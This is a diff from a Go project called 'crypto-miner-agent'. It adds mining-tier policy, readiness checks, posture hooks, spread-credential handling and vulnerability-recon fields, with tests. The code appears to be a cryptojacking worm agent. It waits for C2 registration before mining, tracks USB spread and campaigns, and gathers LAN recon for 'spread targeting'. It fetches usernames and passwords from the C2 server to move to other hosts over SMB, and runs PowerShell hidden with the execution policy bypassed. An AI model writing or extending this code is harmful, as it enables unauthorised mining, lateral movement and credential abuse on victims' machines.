t.Fatalf("expected tier_chain_order, got %+v", d)
|
||||||
|
}
|
||||||
|
if d.TierChainOrder[0] == "" {
|
||||||
|
t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
|
||||||
|
}
|
||||||
|
raw := c.miningDiagnosticsJSON()
|
||||||
|
var doc map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
|
||||||
|
if _, ok := doc[key]; !ok {
|
||||||
|
t.Fatalf("missing key %q in diagnostics JSON", key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
|
||||||
|
})
|
||||||
|
d := MiningDiagnostics{
|
||||||
|
GPU: struct {
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
Active bool `json:"active"`
|
||||||
|
Paused bool `json:"paused"`
|
||||||
|
Model string `json:"model,omitempty"`
|
||||||
|
}{Enabled: true, Active: false, Paused: false},
|
||||||
|
}
|
||||||
|
blockers := c.inferMiningBlockers(d)
|
||||||
|
found := false
|
||||||
|
for _, b := range blockers {
|
||||||
|
if strings.Contains(b, "GPU mining configured but subprocess inactive") {
|
||||||
|
found = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected GPU inactive blocker, got %v", blockers)
|
||||||
|
}
|
||||||
|
}
|
||||||
47
agent/client/mining_policy.go
Normal file
47
agent/client/mining_policy.go
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
||||||
|
return miner.DefaultMiningTierPolicy()
|
||||||
|
}
|
||||||
|
return c.tierPolicy
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||||
|
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||||
|
if len(resp.MiningTierPolicy) > 0 {
|
||||||
|
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(resp.LotlOnionTiers) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
|
||||||
|
for i, s := range resp.LotlOnionTiers {
|
||||||
|
order[i] = miner.LOTLTier(s)
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
|
||||||
|
if len(raw) == 0 || string(raw) == "null" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var p miner.MiningTierPolicy
|
||||||
|
if err := json.Unmarshal(raw, &p); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.tierPolicy = p
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
61
agent/client/mining_policy_test.go
Normal file
61
agent/client/mining_policy_test.go
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
defaults := miner.DefaultMiningTierPolicy()
|
||||||
|
if len(policy.TierOrder) != len(defaults.TierOrder) {
|
||||||
|
t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
|
||||||
|
}
|
||||||
|
if policy.TierOrder[0] != defaults.TierOrder[0] {
|
||||||
|
t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
c.applyAuthLotlPolicy(AuthResponse{
|
||||||
|
Success: true,
|
||||||
|
LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
|
||||||
|
})
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
|
||||||
|
if len(policy.TierOrder) != len(want) {
|
||||||
|
t.Fatalf("order=%v want %v", policy.TierOrder, want)
|
||||||
|
}
|
||||||
|
for i := range want {
|
||||||
|
if policy.TierOrder[i] != want[i] {
|
||||||
|
t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
|
||||||
|
c.applyMiningTierPolicyJSON(raw)
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
|
||||||
|
t.Fatalf("skip=%v", policy.SkipTiers)
|
||||||
|
}
|
||||||
|
if policy.ForceTier != miner.TierCPUInprocess {
|
||||||
|
t.Fatalf("force=%q", policy.ForceTier)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
|
||||||
|
c := NewAgentClient(config.RuntimeConfig{})
|
||||||
|
c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
|
||||||
|
policy := c.miningTierPolicy()
|
||||||
|
if len(policy.TierOrder) == 0 {
|
||||||
|
t.Fatal("invalid JSON should leave defaults intact")
|
||||||
|
}
|
||||||
|
}
|
||||||
59
agent/client/mining_ready.go
Normal file
59
agent/client/mining_ready.go
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
||||||
|
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
|
||||||
|
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
||||||
|
if d.ChainExhausted {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if d.HostMiningDisabled && !d.ContainerRunning {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if !d.C2Connected {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for _, b := range d.LikelyBlockers {
|
||||||
|
lower := strings.ToLower(b)
|
||||||
|
if strings.Contains(lower, "chain exhausted") ||
|
||||||
|
strings.Contains(lower, "host mining disabled") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
||||||
|
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||||
|
const maxWait = 120 * time.Second
|
||||||
|
deadline := time.Now().Add(maxWait)
|
||||||
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
tryStart := func(reason string) {
|
||||||
|
log.Printf("[mining] %s — starting fallback chain", reason)
|
||||||
|
c.miningChain.Start(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
||||||
|
tryStart("diagnostics pass")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if time.Now().After(deadline) {
|
||||||
|
tryStart("diagnostics wait timeout")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
48
agent/client/mining_ready_test.go
Normal file
48
agent/client/mining_ready_test.go
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) {
|
||||||
|
d := MiningDiagnostics{C2Connected: false}
|
||||||
|
if MiningDiagnosticsReady(d) {
|
||||||
|
t.Fatal("expected false without C2")
|
||||||
|
}
|
||||||
|
d.C2Connected = true
|
||||||
|
if !MiningDiagnosticsReady(d) {
|
||||||
|
t.Fatal("expected true with C2 and no hard blockers")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) {
|
||||||
|
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
|
||||||
|
if MiningDiagnosticsReady(d) {
|
||||||
|
t.Fatal("expected false when chain exhausted")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) {
|
||||||
|
d := MiningDiagnostics{
|
||||||
|
C2Connected: true,
|
||||||
|
HostMiningDisabled: true,
|
||||||
|
ContainerRunning: false,
|
||||||
|
}
|
||||||
|
if MiningDiagnosticsReady(d) {
|
||||||
|
t.Fatal("expected false when host mining disabled without container")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||||
|
d := MiningDiagnostics{
|
||||||
|
C2Connected: true,
|
||||||
|
LikelyBlockers: []string{"C2 connected but no mining job delivered"},
|
||||||
|
}
|
||||||
|
if !MiningDiagnosticsReady(d) {
|
||||||
|
t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers)
|
||||||
|
}
|
||||||
|
_ = c
|
||||||
|
}
|
||||||
9
agent/client/posture_hook.go
Normal file
9
agent/client/posture_hook.go
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
// postureCollector overrides collectPosture in tests. Nil restores platform defaults.
|
||||||
|
var postureCollector func() *PostureReport
|
||||||
|
|
||||||
|
// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults.
|
||||||
|
func SetPostureCollector(fn func() *PostureReport) {
|
||||||
|
postureCollector = fn
|
||||||
|
}
|
||||||
@@ -14,6 +14,9 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func collectPosture() *PostureReport {
|
func collectPosture() *PostureReport {
|
||||||
|
if postureCollector != nil {
|
||||||
|
return postureCollector()
|
||||||
|
}
|
||||||
r := &PostureReport{AgentServiceOK: boolPtr(true)}
|
r := &PostureReport{AgentServiceOK: boolPtr(true)}
|
||||||
|
|
||||||
// ── Firewall ───────────────────────────────────────────────────────────────
|
// ── Firewall ───────────────────────────────────────────────────────────────
|
||||||
|
|||||||
@@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress
|
|||||||
`
|
`
|
||||||
|
|
||||||
func collectPosture() *PostureReport {
|
func collectPosture() *PostureReport {
|
||||||
|
if postureCollector != nil {
|
||||||
|
return postureCollector()
|
||||||
|
}
|
||||||
out, err := silentCombinedOutput(
|
out, err := silentCombinedOutput(
|
||||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
buildPostureScript(),
|
buildPostureScript(),
|
||||||
|
|||||||
@@ -1,6 +1,10 @@
|
|||||||
package client
|
package client
|
||||||
|
|
||||||
import "encoding/json"
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
type Message struct {
|
type Message struct {
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
@@ -45,12 +49,18 @@ type AuthPayload struct {
|
|||||||
USBSpread bool `json:"usb_spread,omitempty"`
|
USBSpread bool `json:"usb_spread,omitempty"`
|
||||||
Campaign string `json:"campaign,omitempty"`
|
Campaign string `json:"campaign,omitempty"`
|
||||||
UTM string `json:"utm,omitempty"`
|
UTM string `json:"utm,omitempty"`
|
||||||
|
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
||||||
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||||
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type AuthResponse struct {
|
type AuthResponse struct {
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
Error string `json:"error"`
|
Error string `json:"error"`
|
||||||
|
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||||
|
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||||
|
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type SharePayload struct {
|
type SharePayload struct {
|
||||||
@@ -60,6 +70,13 @@ type SharePayload struct {
|
|||||||
Worker string `json:"worker_name"`
|
Worker string `json:"worker_name"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MethodFailurePayload mirrors miner.MethodFailure in stats JSON.
|
||||||
|
type MethodFailurePayload struct {
|
||||||
|
Method string `json:"method"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
At string `json:"at"`
|
||||||
|
}
|
||||||
|
|
||||||
type StatsPayload struct {
|
type StatsPayload struct {
|
||||||
Hashrate15s float64 `json:"hashrate_15s"`
|
Hashrate15s float64 `json:"hashrate_15s"`
|
||||||
Hashrate1m float64 `json:"hashrate_1m"`
|
Hashrate1m float64 `json:"hashrate_1m"`
|
||||||
@@ -110,6 +127,48 @@ type StatsPayload struct {
|
|||||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||||
Services []ServiceStatus `json:"services,omitempty"`
|
Services []ServiceStatus `json:"services,omitempty"`
|
||||||
|
|
||||||
|
// Mining fallback cascade (container → in-process → GPU → Stratum)
|
||||||
|
ActiveMethod string `json:"active_method,omitempty"`
|
||||||
|
FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"`
|
||||||
|
MiningLastError string `json:"last_error,omitempty"`
|
||||||
|
ChainOrder []string `json:"chain_order,omitempty"`
|
||||||
|
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||||
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||||
|
|
||||||
|
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
||||||
|
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||||
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
|
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||||
|
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||||
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
|
||||||
|
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
|
||||||
|
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
|
||||||
|
|
||||||
|
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||||
|
VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"`
|
||||||
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON.
|
||||||
|
type VulnFindingPayload struct {
|
||||||
|
CVEID string `json:"cve_id"`
|
||||||
|
Severity string `json:"severity"`
|
||||||
|
Component string `json:"component"`
|
||||||
|
Patched bool `json:"patched"`
|
||||||
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TierAttemptPayload mirrors miner.TierAttempt in stats JSON.
|
||||||
|
type TierAttemptPayload struct {
|
||||||
|
Phase string `json:"phase,omitempty"`
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type ShareResult struct {
|
type ShareResult struct {
|
||||||
|
|||||||
142
agent/client/spread_cred.go
Normal file
142
agent/client/spread_cred.go
Normal file
@@ -0,0 +1,142 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
type spreadCredIssueResponse struct {
|
||||||
|
Token string `json:"token"`
|
||||||
|
ProfileID string `json:"profile_id"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type spreadCredRedeemResponse struct {
|
||||||
|
ProfileID string `json:"profile_id"`
|
||||||
|
Username string `json:"username"`
|
||||||
|
Password string `json:"password"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) initSpreadCredHooks() {
|
||||||
|
if strings.TrimSpace(c.cfg.FleetSecret) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) spreadCredHTTPClient() *http.Client {
|
||||||
|
return &http.Client{Timeout: 20 * time.Second}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) spreadCredAPIBase() (string, error) {
|
||||||
|
raw := strings.TrimSpace(c.cfg.ServerURL)
|
||||||
|
if raw == "" {
|
||||||
|
return "", fmt.Errorf("empty server URL")
|
||||||
|
}
|
||||||
|
if !strings.Contains(raw, "://") {
|
||||||
|
raw = "http://" + raw
|
||||||
|
}
|
||||||
|
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) {
|
||||||
|
base, err := c.spreadCredAPIBase()
|
||||||
|
if err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
issueBody, _ := json.Marshal(map[string]string{
|
||||||
|
"agent_id": c.agentID,
|
||||||
|
"host": host,
|
||||||
|
"subnet": subnet,
|
||||||
|
"method": method,
|
||||||
|
})
|
||||||
|
issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody))
|
||||||
|
if err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
issueReq.Header.Set("Content-Type", "application/json")
|
||||||
|
issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||||
|
|
||||||
|
resp, err := c.spreadCredHTTPClient().Do(issueReq)
|
||||||
|
if err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode == http.StatusNotFound {
|
||||||
|
return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured")
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||||
|
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||||
|
}
|
||||||
|
var issued spreadCredIssueResponse
|
||||||
|
if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(issued.Token) == "" {
|
||||||
|
return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token")
|
||||||
|
}
|
||||||
|
|
||||||
|
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||||
|
redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
|
||||||
|
if err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
redeemReq.Header.Set("Content-Type", "application/json")
|
||||||
|
redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||||
|
|
||||||
|
resp, err = c.spreadCredHTTPClient().Do(redeemReq)
|
||||||
|
if err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||||
|
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||||
|
}
|
||||||
|
var redeemed spreadCredRedeemResponse
|
||||||
|
if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil {
|
||||||
|
return deploy.SpreadCredSession{}, err
|
||||||
|
}
|
||||||
|
return deploy.SpreadCredSession{
|
||||||
|
ProfileID: redeemed.ProfileID,
|
||||||
|
Username: redeemed.Username,
|
||||||
|
Password: redeemed.Password,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) {
|
||||||
|
base, err := c.spreadCredAPIBase()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
body, err := json.Marshal(map[string]interface{}{
|
||||||
|
"agent_id": c.agentID,
|
||||||
|
"host": report.Host,
|
||||||
|
"subnet": report.Subnet,
|
||||||
|
"credential_profile_id": report.ProfileID,
|
||||||
|
"method": report.Method,
|
||||||
|
"success": report.Success,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body))
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||||
|
resp, err := c.spreadCredHTTPClient().Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
io.Copy(io.Discard, resp.Body) //nolint:errcheck
|
||||||
|
resp.Body.Close()
|
||||||
|
}
|
||||||
63
agent/client/spread_cred_test.go
Normal file
63
agent/client/spread_cred_test.go
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) {
|
||||||
|
var captured map[string]interface{}
|
||||||
|
|
||||||
|
mux := http.NewServeMux()
|
||||||
|
mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||||
|
"token": "tok-1",
|
||||||
|
"profile_id": "profile-a",
|
||||||
|
})
|
||||||
|
})
|
||||||
|
mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]interface{}{
|
||||||
|
"profile_id": "profile-a",
|
||||||
|
"username": `lab\ops`,
|
||||||
|
"password": "secret",
|
||||||
|
})
|
||||||
|
})
|
||||||
|
mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
_ = json.NewDecoder(r.Body).Decode(&captured)
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
_, _ = w.Write([]byte(`{"ok":true}`))
|
||||||
|
})
|
||||||
|
srv := httptest.NewServer(mux)
|
||||||
|
defer srv.Close()
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
ServerURL: srv.URL,
|
||||||
|
FleetSecret: "fleet-test",
|
||||||
|
},
|
||||||
|
AgentID: "agent-1",
|
||||||
|
}
|
||||||
|
c := NewAgentClient(cfg)
|
||||||
|
session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" {
|
||||||
|
t.Fatalf("unexpected session: %#v", session)
|
||||||
|
}
|
||||||
|
c.reportSpreadCredEdge(deploy.SpreadCredReport{
|
||||||
|
Host: "10.0.0.5",
|
||||||
|
Subnet: "10.0.0",
|
||||||
|
ProfileID: "profile-a",
|
||||||
|
Method: "smb_scm",
|
||||||
|
Success: true,
|
||||||
|
})
|
||||||
|
if captured["credential_profile_id"] != "profile-a" || captured["success"] != true {
|
||||||
|
t.Fatalf("expected report payload, got %#v", captured)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
|||||||
collectSysCheckPlatform(r)
|
collectSysCheckPlatform(r)
|
||||||
|
|
||||||
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
||||||
|
if vr := RunVulnLOTLProbe(); vr != nil {
|
||||||
|
score := vr.RiskScore
|
||||||
|
r.VulnRiskScore = &score
|
||||||
|
if len(vr.Findings) > 0 {
|
||||||
|
r.VulnFindings = make([]struct {
|
||||||
|
CVEID string `json:"cve_id"`
|
||||||
|
Severity string `json:"severity"`
|
||||||
|
Component string `json:"component"`
|
||||||
|
Patched bool `json:"patched"`
|
||||||
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
}, len(vr.Findings))
|
||||||
|
for i, f := range vr.Findings {
|
||||||
|
r.VulnFindings[i].CVEID = f.CVEID
|
||||||
|
r.VulnFindings[i].Severity = f.Severity
|
||||||
|
r.VulnFindings[i].Component = f.Component
|
||||||
|
r.VulnFindings[i].Patched = f.Patched
|
||||||
|
r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
||||||
|
r.VulnFindings[i].Detail = f.Detail
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||||
if r.Environment == nil {
|
if r.Environment == nil {
|
||||||
|
|||||||
@@ -23,6 +23,15 @@ type FullSysCheckReport struct {
|
|||||||
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||||
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||||
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
|
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
|
||||||
|
VulnFindings []struct {
|
||||||
|
CVEID string `json:"cve_id"`
|
||||||
|
Severity string `json:"severity"`
|
||||||
|
Component string `json:"component"`
|
||||||
|
Patched bool `json:"patched"`
|
||||||
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
} `json:"vuln_findings,omitempty"`
|
||||||
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||||
|
|
||||||
